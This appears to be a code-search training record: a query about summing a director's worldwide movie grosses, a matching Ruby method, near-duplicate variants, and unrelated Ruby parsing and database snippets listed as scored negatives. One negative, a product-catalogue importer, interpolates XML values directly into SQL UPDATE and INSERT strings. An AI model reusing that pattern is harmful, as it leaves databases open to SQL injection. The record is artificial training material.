"def data_dictionary_header\n cursor(pos_data_dictionary_header).name(\"data_dictionary_header\") do |c|\n Header.new(\n max_row_id: c.name(\"max_row_id\") { c.read_uint64 },\n max_table_id: c.name(\"max_table_id\") { c.read_uint64 },\n max_index_id: c.name(\"max_index_id\") { c.read_uint64 },\n max_space_id: c.name(\"max_space_id\") { c.read_uint32 },\n unused_mix_id_low: c.name(\"unused_mix_id_low\") { c.read_uint32 },\n indexes: c.name(\"indexes\") do\n {\n SYS_TABLES: c.name(\"SYS_TABLES\") do\n {\n PRIMARY: c.name(\"PRIMARY\") { c.read_uint32 },\n ID: c.name(\"ID\") { c.read_uint32 },\n }\n end,\n SYS_COLUMNS: c.name(\"SYS_COLUMNS\") do\n {\n PRIMARY: c.name(\"PRIMARY\") { c.read_uint32 },\n }\n end,\n SYS_INDEXES: c.name(\"SYS_INDEXES\") do\n {\n PRIMARY: c.name(\"PRIMARY\") { c.read_uint32 },\n }\n end,\n SYS_FIELDS: c.name(\"SYS_FIELDS\") do\n {\n PRIMARY: c.name(\"PRIMARY\") { c.read_uint32 },\n }\n end,\n }\n end,\n unused_space: c.name(\"unused_space\") { c.read_bytes(4) },\n fseg: c.name(\"fseg\") { Innodb::FsegEntry.get_inode(@space, c) }\n )\n end\n end",
"def read_time_table(fname)\n ents=[]\n File.open(fname,'r') do |f|\n f.each_line do |line|\n line.chomp!\n a1,a2,a3,a4,a5 = line.split(/\\s*==\\s*/)\n hash={}\n hash[\"1\"] = a1 # id\n hash[\"2\"] = a2 # start time\n hash[\"3\"] = a3 # end time\n hash[\"4\"] = a4 # person\n hash[\"5\"] = a5 # title\n ents.push(hash)\n end\n end\n ents\nend",
"def build_metadata\n raise StandardError, 'Record not found' if record.nil?\n raise StandardError, \"Missing required elements, missing element(s) are: #{importerexporter.parser.missing_elements(keys_without_numbers(record.keys)).join(', ')}\" unless importerexporter.parser.required_elements?(keys_without_numbers(record.keys))\n \n self.parsed_metadata = {}\n self.parsed_metadata[work_identifier] = [record[source_identifier]]\n add_work_type\n add_standard_metadata\n add_file\n add_visibility\n add_rights_statement\n add_admin_set_id\n add_collections\n add_local\n self.parsed_metadata\n end",
"def monta_header_arquivo\n raise Brcobranca::NaoImplementado, 'Sobreescreva este método na classe referente ao banco que você esta criando'\n end",
"def loadStructure(file)\n csv_text = File.read(file)\n return CSV.parse(csv_text, :headers => true)\n \nend",
"def parse\n input_data.each do |filename, data|\n rowdata_template = OpenStruct.new\n @preprocess_block.call(filename, rowdata_template) if @preprocess_block\n\n arrived_at_table_data = false\n\n data.split(\"\\r\\n\").each do |line|\n next if line.strip.empty? # Skip blank and whitespace lines\n\n if !arrived_at_table_data\n next if line =~ /\\ACreated by SunData/ # Skip created by line\n if date_match = line.match(/\\A(\\d\\d\\d\\d-\\d\\d-\\d\\d)\\t\\tLocal time is (GMT.\\d+ Hrs)/)\n rowdata_template.date = date_match[1]\n rowdata_template.timezone = date_match[2]\n end\n\n if sunscan_match = line.match(/\\ASunScan probe (v.*)/)\n rowdata_template.sunscan_version = sunscan_match[1]\n end\n\n if matches = line.scan(/\\s*([^\\t:]+)\\s*:\\s*([^\\t:]+)/)\n matches.flatten.map(&:strip).each_slice(2) do |key, value|\n next if value.nil? || value.empty?\n rowdata_template[key.downcase.gsub(\" \", \"_\")] = value\n end\n end\n\n # Once we hit the table hearder we can start processing tabular data.\n # The header is two lines long because of the formatting.\n next if line =~ /\\ATime\\tPlot\\t/\n arrived_at_table_data = true and next if line =~ /\\s+mitted\\s+ent/\n\n\n else\n rowdata = rowdata_template.dup\n table_line = line.split(\"\\t\")\n rowdata.time = table_line[0]\n rowdata.plot = table_line[1]\n rowdata.sample = table_line[2]\n rowdata.transmitted = table_line[3]\n rowdata.spread = table_line[4]\n rowdata.incident = table_line[5]\n rowdata.beam = table_line[6]\n rowdata.zenith_angle = table_line[7]\n rowdata.lai = table_line[8]\n rowdata.notes = table_line[9]\n # Only record output data once the full line data has been captured.\n output_data << rowdata\n end\n end\n end\n end",
"def readUbcsatAndWriteToDB(ubcsat_output_file, algorun_config_id, host)\n \n ############### READ FILE.\n content=\"\"\n File.open(ubcsat_output_file, \"r\"){|ubcsat|\n \tcontent = ubcsat.gets(nil)\n }\n# puts ubcsat_output_file\n# puts content\n \n\n ############### Put the output file into the DB.\n# add_ubcsat_output_cmd = \"insert into FH_OUTPUT (OUTPUT_TEXT) values (\\\"#{content}\\\")\"\n# ubcsat_output_id = execute_cmd_with_quotes_one_autoincrement(add_ubcsat_output_cmd, false)\n\tubcsat_output_id = -1\n \n \n ############### Parse output and write runs to DB.\n File.open(ubcsat_output_file, \"r\"){|ubcsat|\n mysql_cmds = []\n \trun=1;\n \twhile line = ubcsat.gets\n \tnext if line =~ /#/\n \tif line =~ /\\d+\\s+(\\d+)\\s+(\\d+)\\s+(\\d)+\\s+(\\d+)\\s+(\\d+)\\s+(#{float_regexp})/\n \t#=== Read run output from UBCSAT. (run number not recorded)\n \tfound = $1.to_i\n \t\tseed = $2.to_i\n \t\tbest_sol = $3.to_i\n \t\tbest_length = $4.to_i\n \t\tmeasured_runlength = $5.to_i\n \t\tmeasured_runtime = $6.to_f\n \n \t\t#=== Put the run into the DB.\n# \t\tputs line\n require \"dbi_ils_accessor.rb\"\n\t\t\twriteResultToDB(algorun_config_id, seed, measured_runtime, measured_runlength, best_sol, best_length, \"#{found ==1 ? 'SAT' : 'TIMEOUT'}\", ubcsat_output_id, host)\n\n# \t\tmysql_cmd = \"insert into FH_ALGORUN VALUES(#{algorun_config_id}, #{seed}, #{measured_runtime}, #{measured_runlength}, #{best_sol}, #{best_length}, '#{found ==1 ? 'SAT' : 'TIMEOUT'}', now(), #{ubcsat_output_id}, '#{host}');\"\n# \t\tputs \"MySQLCommand: #{mysql_cmd}\"\n#\t\t\tmysql_cmds << mysql_cmd\n #\t\t\t\texecute_cmd(mysql_cmd, false)\n \n#\t\t\tif run.modulo(100)==0\n#\t\t\t execute_cmds(mysql_cmds)\n#\t\t\t execute_cmd(mysql_cmds.join(\"\\n\"), false)\n#\t\t\t mysql_cmds = []\n#\t\t\tend\n\t\t run = run+1\n \tend\n end\n# \tputs mysql_cmds\n raise \"No such file or directory : No UBCSAT run output exists in file #{ubcsat_output_file} - see output id #{ubcsat_output_id}\" unless run > 1\n# execute_cmd(mysql_cmds.join(\"\\n\"), false)\n# execute_cmds(mysql_cmds)\n }\n return true\nend",
"def initialize(filename, info_line) \n @filename = filename\n revision = info_line[0...info_line.index(' ')]\n @revision = Integer(revision[1..-1]) # remove #\n datetime = info_line.scan(/\\d\\d\\d\\d\\/\\d\\d\\/\\d\\d \\d\\d:\\d\\d:\\d\\d/)[0]\n @datetime = DateTime.strptime(datetime, '%Y/%m/%d %H:%M:%S')\n end",
"def mysql_lines\n File.open(file_name, \"r\") do |line|\n #File.open('./lib/databasers/fibered_files_output.txt') do |line|\n line.each do |x|\n puts \"('\" + \"#{x.strip}\" + \"')\"\n end\n end\n end",
"def import con, table, xml\n # Get all node in xml file that contains product information\n temp = getNodeValues(xml, '*//Products/Product')\n\n # Prepair data for fields that will add to database\n if !temp.nil? and temp.count > 0\n temp.each do |item|\n $catalog = item.at_xpath('Catalog').text\n if item.xpath('Price/Currency').text == 'USD'\n $price = '$' + '%0.2f' % item.xpath('Price/PriceTier/ListPrice').text.to_f\n else\n $price = ''\n end\n $appstatus = 'unknown'\n $sku = item.at_xpath('SkuCode').text\n $shorttitle = item.at_xpath('Name').text\n $platformcompatibility = ''\n $lpu = ''\n $lp2 = ''\n $lp1 = ''\n $lgs = ''\n $lex = ''\n $lpr = ''\n # --Process locale\n $us = ''\n $ca = ''\n $uk = ''\n $ie = ''\n $au = ''\n $row = ''\n $fr_fr = ''\n $fr_ca = ''\n $fr_row = ''\n $character = ''\n if $catalog.include? 'US_'\n $us = 'X'\n end\n if $catalog.include? 'UK_'\n $uk = 'X'\n end\n if $catalog.include? 'IE_'\n $ie = 'X'\n end\n if $catalog.include? 'AU_'\n $au = 'X'\n end\n if $catalog.include? 'ROW_'\n $row = 'X'\n end\n if $catalog.include? 'FR_FR_'\n $fr_fr = 'X'\n end\n if $catalog.include? 'FR_CA_'\n $fr_ca = 'X'\n else\n if $catalog.include? 'CA_'\n $ca = 'X'\n end\n end\n if $catalog.include? 'FR_ROW_'\n $fr_row = 'X'\n end\n # --End Process locale\n\n item.at_xpath('Attributes').elements.to_a.each do |i| # begin each child\n case i.attributes['Key'].text\n # Go live date maps with release date in database\n when \"releaseDate\"\n $golivedate = i.at_xpath('Values').text\n\n # long name maps with longtitle in database\n when \"longName_en\", \"longName_fr\"\n $longtitle = i.at_xpath('Values').text\n\n # Gender maps with gender in database\n when \"gender_en\", \"gender_fr\"\n genderflag = 0\n i.elements.to_a.each do |m|\n if m.name == 'Values'\n $gender = m.text.capitalize\n genderflag += 1\n end\n if genderflag == 2\n $gender = 'All'\n end\n end\n\n # Age Range Begin maps with agefrommonths in database\n when \"ageRangeBegin\"\n $agefrommonths = i.at_xpath('Values').text\n\n # Age Range End maps with agefrommonths in database\n when \"ageRangeEnd\"\n $agetomonths = i.at_xpath('Values').text\n\n # Skill maps with skill in database\n when \"skill_en\", \"skill_fr\"\n $skill = i.at_xpath('Values').text\n\n # curriculum maps with curriculum in database\n when \"curriculum_en\", \"curriculum_fr\"\n $curriculum = i.at_xpath('Values').text\n\n # Long Description maps with longdesc in database\n when \"longDescription_en\", \"longDescription_fr\"\n $longdesc = i.at_xpath('Values').text.gsub(\"\\\"\", \"\\\\\\\"\")\n\n # credits will map later\n $credits = 'unknown'\n\n #---------platformcompatibility process\n # worksWithLeapPad2_en maps with platformcompatibility in database\n when \"worksWithLeapPad2_en\", \"worksWithLeapPad2_fr\"\n if i.at_xpath('Values').text == \"true\"\n $platformcompatibility += \"LeapPad 2,\\n\"\n $lp2 = 'X'\n end\n # worksWithLeapPad_en maps with platformcompatibility in database\n when \"worksWithLeapPad_en\", \"worksWithLeapPad_fr\"\n if i.at_xpath('Values').text == \"true\"\n $platformcompatibility += \"LeapPad Explorer,\\n\"\n $lp1 = 'X'\n end\n # worksWithLeapPadUltra_en maps with platformcompatibility in database\n when \"worksWithLeapPadUltra_en\", \"worksWithLeapPadUltra_fr\"\n if i.at_xpath('Values').text == \"true\"\n $platformcompatibility += \"LeapPad Ultra,\\n\"\n $lpu = 'X'\n end\n # worksWithLeapster_en maps with platformcompatibility in database\n when \"worksWithLeapster_en\", \"worksWithLeapster_fr\"\n if i.at_xpath('Values').text == \"true\"\n $platformcompatibility += \"Leapster Explorer,\\n\"\n $lex = 'X'\n end\n # worksWithLeapsterGS_en maps with platformcompatibility in database\n when \"worksWithLeapsterGS_en\", \"worksWithLeapsterGS_fr\"\n if i.at_xpath('Values').text == \"true\"\n $platformcompatibility += \"LeapsterGS Explorer,\\n\"\n $lgs = 'X'\n end\n # worksWithLeapReader_en maps with platformcompatibility in database\n when \"worksWithLeapReader_en\", \"worksWithLeapReader_fr\"\n if i.at_xpath('Values').text == \"true\"\n $platformcompatibility += \"Leapreader,\\n\"\n $lpr = 'X'\n end\n #---------End platformcompatibility process\n\n # Special Message maps with speacialmsg in database\n when \"specialMessage_en\", \"specialMessage_fr\"\n if i.at_xpath('Values') != nil\n $specialmsg = i.at_xpath('Values').text\n end\n\n # Teaches maps with teaches in database\n when \"teaches_en\", \"teaches_fr\"\n $teaches = i.at_xpath('Values').text\n\n # License legal will be added later\n $licenselegal = 'unknown'\n\n # licensedContent will be added later\n $licnonlic = 'unknown'\n\n # License will be added later\n $license = 'unknown'\n\n # language will be added later\n $language = 'unknown'\n\n # Pricetier maps with pricetier\"\n when \"pricingTier\"\n $pricetier = i.at_xpath('Values').text + ' - ' + $price\n\n # contentType maps with category\n when \"contentType\"\n $category = i.at_xpath('Values').text\n\n # character maps with character\n when \"character\"\n i.elements.to_a.each do |m|\n if m.name=='Values'\n $character << ',' unless $character == ''\n $character << m.text\n end #if\n end # each\n\n end # end case\n end # end each child\n\n # Excute query to add data to database\n # -- Begin Process if sku has ready existed\n rowsku = con.query \"SELECT sku,us,ca,uk,ie,au,row,fr_fr,fr_ca,fr_row from #{table}\"\n skuexisted = 0\n rowsku.each_hash do |rs|\n if $sku == rs['sku']\n if rs['us'].downcase == 'x'\n $us = 'X'\n end\n if rs['ca'].downcase == 'x'\n $ca = 'X'\n end\n if rs['uk'].downcase == 'x'\n $uk = 'X'\n end\n if rs['ie'].downcase == 'x'\n $ie = 'X'\n end\n if rs['au'].downcase == 'x'\n $au = 'X'\n end\n if rs['row'].downcase == 'x'\n $row = 'X'\n end\n if rs['fr_fr'].downcase == 'x'\n $fr_fr = 'X'\n end\n if rs['fr_ca'].downcase == 'x'\n $fr_ca = 'X'\n end\n if rs['fr_row'].downcase == 'x'\n $fr_row = 'X'\n end\n\n skuexisted = 1\n break\n end # end if\n end # end each\n # -- End Process if sku has ready existed\n if skuexisted == 1\n if $pricetier.include? '$'\n con.query \"UPDATE #{table}\n SET golivedate = '#{$golivedate}', appstatus = '#{$appstatus}', shorttitle = \\\"#{$shorttitle}\\\", longtitle = \\\"#{$longtitle}\\\", gender = '#{$gender}', agefrommonths = '#{$agefrommonths}', agetomonths = '#{$agetomonths}', skill = '#{$skill}', curriculum = \\\"#{$curriculum}\\\", longdesc = \\\"#{$longdesc}\\\", credits = '#{$credits}', platformcompatibility = '#{$platformcompatibility}', specialmsg = \\\"#{$specialmsg}\\\",teaches = \\\"#{$teaches}\\\",licenselegal = '#{$licenselegal}', licnonlic = '#{$licnonlic}', license = '#{$license}', language = '#{$language}', pricetier = '#{$pricetier}', category = '#{$category}', us = '#{$us}', ca = '#{$ca}', uk = '#{$uk}', ie = '#{$ie}', au = '#{$au}', row = '#{$row}', fr_fr = '#{$fr_fr}', fr_ca = '#{$fr_ca}', fr_row = '#{$fr_row}', lpu = '#{$lpu}', lp2 = '#{$lpu}', lp1 = '#{$lp1}', lgs = '#{$lgs}', lex = '#{$lex}', lpr = '#{$lpr}', lf_char = \\\"#{$character}\\\"\n WHERE sku = '#{$sku}';\"\n else\n con.query \"UPDATE #{table}\n SET golivedate = '#{$golivedate}', appstatus = '#{$appstatus}', shorttitle = \\\"#{$shorttitle}\\\", longtitle = \\\"#{$longtitle}\\\", gender = '#{$gender}', agefrommonths = '#{$agefrommonths}', agetomonths = '#{$agetomonths}', skill = '#{$skill}', curriculum = \\\"#{$curriculum}\\\", longdesc = \\\"#{$longdesc}\\\", credits = '#{$credits}', platformcompatibility = '#{$platformcompatibility}', specialmsg = \\\"#{$specialmsg}\\\",teaches = \\\"#{$teaches}\\\",licenselegal = '#{$licenselegal}', licnonlic = '#{$licnonlic}', license = '#{$license}', language = '#{$language}', category = '#{$category}', us = '#{$us}', ca = '#{$ca}', uk = '#{$uk}', ie = '#{$ie}', au = '#{$au}', row = '#{$row}', fr_fr = '#{$fr_fr}', fr_ca = '#{$fr_ca}', fr_row = '#{$fr_row}', lpu = '#{$lpu}', lp2 = '#{$lpu}', lp1 = '#{$lp1}', lgs = '#{$lgs}', lex = '#{$lex}', lpr = '#{$lpr}', lf_char = \\\"#{$character}\\\"\n WHERE sku = '#{$sku}';\"\n end\n else\n con.query \"INSERT INTO #{table} (golivedate,appstatus,sku,shorttitle,longtitle,gender,agefrommonths,agetomonths,skill,curriculum,longdesc,credits,platformcompatibility,specialmsg,teaches,licenselegal,licnonlic,license,language,pricetier,category,us,ca,uk,ie,au,row,fr_fr,fr_ca,fr_row,lpu,lp2,lp1,lgs,lex,lpr,lf_char)\n VALUES ('#{$golivedate}','#{$appstatus}','#{$sku}',\\\"#{$shorttitle}\\\",\\\"#{$longtitle}\\\",'#{$gender}','#{$agefrommonths}','#{$agetomonths}','#{$skill}',\\\"#{$curriculum}\\\",\\\"#{$longdesc}\\\",'#{$credits}','#{$platformcompatibility}',\\\"#{$specialmsg}\\\",\\\"#{$teaches}\\\",'#{$licenselegal}','#{$licnonlic}',\n '#{$license}','#{$language}','#{$pricetier}','#{$category}','#{$us}','#{$ca}','#{$uk}','#{$ie}','#{$au}','#{$row}','#{$fr_fr}','#{$fr_ca}','#{$fr_row}','#{$lpu}','#{$lp2}','#{$lp1}','#{$lgs}','#{$lex}','#{$lpr}',\\\"#{$character}\\\");\"\n end\n end # enc each parent\n else\n raise 'An error occurred. Please try again or contact your administrator.'\n end\n end",
"def load_db\n basic_foods = {} # store BasicFood objects\n recipes = {} # store Recipe objects\n File.readlines('FoodDB.txt').each do |line|\n line = line.chomp.split(\",\")\n if line[1] == \"b\"\n basic_food = BasicFood.new(line[0], line[2])\n basic_foods[basic_food.name] = basic_food\n elsif line[1] == \"r\"\n recipe = Recipe.new(line[0], line[2..line.size])\n recipes[recipe.name] = recipe\n end\n end\n [basic_foods, recipes]\n end",
"def initialize(file)\n\t\t#Initializes superclass -- creates database.\n\t\tsuper\n\t\t#Creates tables if they not exist\n\t\tTABLES.each do |table|\n\t\t\tsql = \"CREATE TABLE IF NOT EXISTS #{table.header} (\"\n\t\t\ttable.columns.each {|column| sql += \"#{column.header} \" +\n\t\t\t\t\"#{column.type_constraint}, \"}\n\t\t\tsql = table.constraint.nil? ?\n\t\t\t\t\"#{sql.slice(0, sql.length - 2)})\" :\n\t\t\t\t\"#{sql}#{table.constraint})\"\n\t\t\tself.transaction {|tdb| tdb.execute(sql)}\n\t\tend\n\tend",
"def parse_input(input_file); end",
"def parse_input(input_file); end",
"def header(path, file, locale, date)\n File.read(path)\n .gsub('<file>', file)\n .gsub('<locale>', locale)\n .gsub('<date>', date.to_s)\n end",
"def readIDSFile(filename, char_hash)\n File.open(filename) do |f|\n while (line = f.gets)\n next if line.match(/^;;/) # line commented out?\n a = line.strip.split(\"\\t\")\n char_hash[a[0]] = Hash.new() unless char_hash.has_key? a[0]\n char_hash[a[0]][:ids] = a[2].to_u\n end\n end\nend",
"def parse_header(line)\n case line\n when /^#%checkm/\n match = /^#%checkm_(\\d+)\\.(\\d+)/.match line\n @version = \"#{match[1]}.#{match[2]}\" if match\n when /^#%eof/\n @eof = true\n when /^#%fields/\n list = line.split('|')\n list.shift\n @fields = list.map { |v| v.strip.downcase }\n when /^#%prefix/, /^#%profile/\n # do nothing\n end\n end",
"def parse_details(line)\n @id, blob = line.split(\":\")\n @fullname, @date, @parent_id = blob.split(\",\")\n @owner, @name = fullname.split(\"/\")\n end",
"def read(filename)\n f = File.open(filename, 'r')\n f.seek(-ID3::ID3v1tagSize, IO::SEEK_END)\n hastag = (f.read(3) == 'TAG')\n if hastag\n f.seek(-ID3::ID3v1tagSize, IO::SEEK_END)\n @raw = f.read(ID3::ID3v1tagSize)\n\n # self.parse!(raw) # we should use \"parse!\" instead of duplicating code!\n\n if (raw.getbyte(ID3v1versionbyte) == 0) \n @version = \"1.0\"\n else\n @version = \"1.1\"\n end\n else\n @raw = @version = nil\n end\n f.close\n #\n # now parse all the fields\n\n ID3::SUPPORTED_SYMBOLS[@version].each{ |key,val|\n if val.class == Range\n # self[key] = @raw[val].squeeze(\" \\000\").chomp(\" \").chomp(\"\\000\")\n self[key] = @raw[val].strip\n elsif val.class == Fixnum\n self[key] = @raw.getbyte(val).to_s\n else \n # this can't happen the way we defined the hash..\n # printf \"unknown key/val : #{key} / #{val} ; val-type: %s\\n\", val.type\n end\n }\n hastag\n end",
"def metadata(filepath)\n metadata = {}\n metadata.merge!(author(filepath))\n metadata.merge!(title(filepath))\n metadata.merge!(serie(filepath))\n metadata\n end",
"def read_data(filename)\n data = File.readlines(filename).map{|line| line.chomp.split(\"\\t\"). map{|field| field == \"\" ? nil : field}}\n data.map do |line|\n {:district => line[0], :name => line[1], :sponsorship => line[2], :phone1 => line[3], :phone2 => line[4], :email => line[5]}\n end\nend",
"def write_db(entry_hash)\n formatted = format_hash(entry_hash)\n v_fname = formatted[\"fname\"] # prepare data from entry_hash for database insert\n v_lname = formatted[\"lname\"]\n v_addr = formatted[\"addr\"]\n v_city = formatted[\"city\"]\n v_state = formatted[\"state\"]\n v_zip = formatted[\"zip\"]\n v_mobile = formatted[\"mobile\"]\n v_home = formatted[\"home\"]\n v_work = formatted[\"work\"]\n begin\n conn = open_db() # open database for updating\n max_id = conn.exec(\"select max(id) from listings\")[0] # determine current max index (id) in details table\n max_id[\"max\"] == nil ? v_id = 1 : v_id = max_id[\"max\"].to_i + 1 # set index variable based on current max index value\n conn.prepare('q_statement',\n \"insert into listings (id, fname, lname, addr, city, state, zip, mobile, home, work)\n values($1, $2, $3, $4, $5, $6, $7, $8, $9, $10)\") # bind parameters\n conn.exec_prepared('q_statement', [v_id, v_fname, v_lname, v_addr, v_city, v_state, v_zip, v_mobile, v_home, v_work])\n conn.exec(\"deallocate q_statement\")\n rescue PG::Error => e\n puts 'Exception occurred'\n puts e.message\n ensure\n conn.close if conn\n end\n return formatted\nend",
"def read_schedule2(fname)\n ents=[]\n File.open(fname,'r') do |f|\n f.each_line do |line|\n line.chomp!\n a1,a2,a3,a4 = line.split(/\\s*==\\s*/)\n hash={}\n hash[\"1\"] = a1\n hash[\"2\"] = a2\n hash[\"3\"] = a3\n hash[\"4\"] = a4\n ents.push(hash)\n end\n end\n ents\nend",
"def quotationfileprocess path \n File.open(path, 'r') do |file|\n file.each_line do |line|\n cols = line.force_encoding('gb2312').split(\"\\t\")\n if /\\d{6}/ =~ cols[0][2..7].strip\n\t\t\t\t\t#added new quotation\n q = Quotation.new\n q.marketdate = tradedate\n \n q.code = cols[0][2..7].strip\n q.name = cols[1].strip\n q.cqstatus = 'chuquan' unless q.name[0..1] != 'XD'\n q.plate = cols[18].strip\n\n if cols[11].strip == '--'\n preq = Quotation.find_by(marketdate: pretradedate, code: q.code) \n q.open = 0 \n q.high = 0 \n q.low = 0 \n q.close = cols[14].strip\n\t\t\t\t\t q.dprofit = 0 \n\n q.tpstatus = 'tingpai' \n else\n q.open = cols[11].strip\n q.high = cols[12].strip\n q.low = cols[13].strip\n q.close = cols[3].strip\n\n\t\t\t\t\t q.dprofit = cols[2].strip\n end\n\t\t\t\t\t\n q.save\n end\n end\n end\n\tend",
"def insert_\n # new files to insert\n nfiles = @curr_schema.select_new_files\n count = nfiles.size\n Logger.<<(__FILE__,\"INFO\",\"Found #{nfiles.size} files to decode & insert for #{@curr_source.name}...\");\n return unless nfiles.size > 0\n\n SignalHandler.check\n ## Will decode them and insert their records, one by one (file)\n base_path = ::File.join(Conf::directories.store,@curr_source.name.to_s)\n ids_processed = []\n file_counter = 0\n iterate_over nfiles do |file|\n file_path = File.join(base_path,file[:folder],file[:file_name])\n begin\n file_ = CDR::File.new(file_path,search: true)\n rescue => e\n Logger.<<(__FILE__,\"WARNING\",\"File Error : #{e}\")\n raise e\n end\n records = @curr_source.decoder.decode file_\n if records.nil? \n Logger.<<(__FILE__,\"WARNING\",\"Found null output for file #{file}\")\n else\n @curr_schema.insert_records file[:file_id], records\n end\n @curr_schema.processed_files RubyUtil::arrayize(file[:file_id])\n backup_file file[:folder],file_\n str = log_file_summary file_,records\n Logger.<<(__FILE__,\"INFO\",\"(#{file_counter}/#{count}) #{str}\",inline: true)\n file_counter += 1\n end\n # so only one lookup for table cdr\n #mark_processed_decoded_files (ids_processed)\n Logger.<<(__FILE__,\"INFO\",\"Decoded & Inserted #{count} files ...\")\n Logger.<<(__FILE__,\"INFO\",\"Insert operation finished !\")\n end",
"def import_one_row_data(line)\n return if @file.nil? && @file.cell(line, 1).blank?\n company = import_company(line)\n unless company.new_record? || company.owner\n import_company_owner(company, line) \n end\n end",
"def read(entry); end",
"def import(date, file, min_page = 0, max_page)\r\n\r\n \tputs \"Importing data from: #{file}\"\r\n\r\n # Load date\r\n @date = date\r\n\r\n # Regex patterns\r\n id_regex = /^(0|\\d{6,9}|\\d{12,13}|X{13}|UPI\\d{8,10}(?:\\/\\d)?|U\\/I-\\d{4}\\/\\d{2}|UF\\/I\\d{4}\\/\\d{2}|\\d{2,3}-\\d{1,7}-\\d{1,7}(?:[\\/|\\-|\\s]\\d{1,4})?)$/\r\n\r\n # output dir\r\n out_dir = File.join(Rails.root, \"db\", \"export\")\r\n Dir.mkdir(out_dir) if !Dir.exist?(out_dir)\r\n\r\n @banks = Set.new\r\n\r\n # Output CSV files\r\n @result_csv = CSV.open(File.join(out_dir, \"#{date}.csv\"), \"w\")\r\n\r\n owner_lines = []\r\n\r\n # Statistics\r\n @total = {}\r\n @total.default = 0\r\n\r\n @cases = [0, 0, 0, 0, 0, 0]\r\n\r\n start = Time.now\r\n \tPDF::Reader.new(file).pages.each_with_index do |page, page_num|\r\n \t\t#Skip first min_page\r\n next if page_num < min_page\r\n\r\n # Stop after max_page \r\n \t\tbreak if page_num > max_page\r\n\r\n @total[:pages] += 1\r\n\r\n \t\t\tpage.text.lines.each do |line|\r\n # skip empty lines\r\n \t\t\t\tif !line.strip!.blank?\r\n\r\n \t\t\t\t\t# Match owner ID - this is new owner\r\n \t\t\t\t\tif line =~ id_regex\r\n \t\t\t\t\t\t# parse and save owner info but skip first line\r\n \t\t\t\t\t\tparse(owner_lines) if !owner_lines.empty?\r\n\r\n \t\t\t\t\t\t# start capturing data for new owner\r\n \t\t\t\t\t\towner_lines = [$~[1]]\r\n # skip strings which are not accounts: headers and footers\r\n \t\t\t\t\telsif !(line =~ /Broj racuna/i || line =~ /^\\d{2}\\/\\d{2}\\/\\d{4}/ || line =~ /^JIB/) && (!owner_lines.empty?)\r\n \t\t\t\t\t\towner_lines << line.gsub(/\\s{2,}/,'\\t')\r\n \t\t\t\t\tend\r\n \t\t\t\tend\r\n \t\t\tend\r\n \t\tend\r\n\r\n @result_csv.close\r\n\r\n puts \"Statistics: #{@total.to_yaml}\\n#{@cases}\"\r\n puts \"Loading finished in: %3d:%04.2f\"%(Time.now-start).divmod(60.0)\r\n \tend",
"def hash_from source, line\n line_elements = line.split(source[:delim]).map(&:strip)\n Hash[source[:headers].zip(line_elements)].tap do |h|\n h[:birth_date] = Date.strptime( h[:birth_date].to_s.gsub('-','/'), '%m/%d/%Y' )\n end\n end"
] | [
"0.6136084",
"0.5975705",
"0.59674114",
"0.59189665",
"0.5797993",
"0.5744685",
"0.5741313",
"0.5722444",
"0.5715248",
"0.56792694",
"0.5661171",
"0.55863667",
"0.55834824",
"0.5569017",
"0.5527201",
"0.55188465",
"0.5503522",
"0.55035114",
"0.55014515",
"0.5498595",
"0.54931706",
"0.54769105",
"0.5474511",
"0.546056",
"0.545152",
"0.5451198",
"0.5444591",
"0.54351",
"0.5430984",
"0.5408581",
"0.5404221",
"0.53669345",
"0.5362502",
"0.5353615",
"0.535329",
"0.53504926",
"0.5340774",
"0.53406745",
"0.53157914",
"0.5308036",
"0.53033286",
"0.528915",
"0.5284061",
"0.5283142",
"0.52757186",
"0.52750844",
"0.5273226",
"0.5270078",
"0.52498937",
"0.52336913",
"0.52320623",
"0.522699",
"0.5225663",
"0.52250314",
"0.5223588",
"0.52089053",
"0.52085656",
"0.5204824",
"0.51900965",
"0.51880026",
"0.51840943",
"0.5182247",
"0.51771873",
"0.51723427",
"0.51685005",
"0.51673657",
"0.51615244",
"0.5155182",
"0.5148996",
"0.5148996",
"0.5142555",
"0.5140231",
"0.5135622",
"0.5134667",
"0.5125079",
"0.5124523",
"0.51229805",
"0.5119634",
"0.5118375",
"0.5113858",
"0.51129025",
"0.5112785",
"0.5112271",
"0.5101556",
"0.5088866",
"0.5088866",
"0.50799763",
"0.5079405",
"0.5076482",
"0.5075762",
"0.5056911",
"0.50556576",
"0.5050879",
"0.5050644",
"0.5041768",
"0.5036507",
"0.5034195",
"0.50336856",
"0.5029984",
"0.5028787",
"0.5025912"
] | 0.0 | -1 |
Find a way to accumulate the :worldwide_grosses and return that Integer using director_data as input | def gross_for_director(director_data)
index = 0
total = 0
while index < director_data[:movies].length do
total+=director_data[:movies][index][:worldwide_gross]
index+=1
end
total
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def gross_for_director(director_data)\n movie_index = 0\n worldwide_grosses = 0\n while movie_index < director_data[:movies].length\n worldwide_grosses += director_data[:movies][movie_index][:worldwide_gross]\n movie_index += 1\n end\nworldwide_grosses\nend",
"def gross_for_director(director_data)\n sum = 0\n\t\n\tdirector_data[:movies].each do |movie|\n\t\tsum += movie[:worldwide_gross]\n\tend\n\t\n\treturn sum\nend",
"def gross_for_director(director_data)\n movie_index = 0\n director_total = 0\n while movie_index < director_data[:movies].length\n director_total += director_data[:movies][movie_index][:worldwide_gross]\n movie_index += 1\n end\n director_total\n\n end",
"def gross_for_director(director_data)\n\n result = 0\n movie_idx = 0\n while movie_idx < director_data[:movies].count\n result += director_data[:movies][movie_idx][:worldwide_gross]\n movie_idx += 1\n end\n result\nend",
"def gross_for_director(director_data)\ndirector_gross = 0\n movie_len = director_data[:movies].length\n movie_index = 0\n while movie_index < movie_len do\n director_gross += director_data[:movies][movie_index][:worldwide_gross]\n movie_index += 1\n end\n director_gross\nend",
"def gross_for_director(director_data)\n total = 0\n movies = director_data[:movies]\n movies.length.times do |movie_idx|\n total+=movies[movie_idx][:worldwide_gross]\n end\n return total\nend",
"def gross_for_director(director_data)\n m_index = 0\n director_data = 0\n gross = 0\n while m_index < directors_database[director_data][:movies].length do\n gross += directors_database[director_data][:movies][m_index][:worldwide_gross]\n m_index += 1\nend\ngross\nend",
"def gross_for_director(director_data)\n director_gross = 0\n movie_count = 0\n while movie_count < director_data[:movies].length do\n director_gross += director_data[:movies][movie_count][:worldwide_gross]\n movie_count += 1\n end\n director_gross\nend",
"def gross_for_director(director_data)\n gross_for_director=0\n i=0\n while i<director_data[:movies].size\n gross_for_director+=director_data[:movies][i][:worldwide_gross]\n i+=1\n end\n gross_for_director\nend",
